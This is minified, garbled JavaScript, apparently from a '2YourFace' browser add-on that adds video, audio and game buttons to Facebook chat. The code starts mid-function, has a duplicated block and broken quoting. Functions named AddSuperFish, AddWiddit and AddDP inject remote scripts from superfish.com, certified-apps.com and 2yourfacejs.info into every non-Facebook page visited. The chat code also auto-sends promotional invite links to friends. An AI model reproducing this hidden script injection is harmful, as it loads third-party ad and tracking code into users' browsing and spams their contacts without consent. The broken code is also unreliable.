d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), 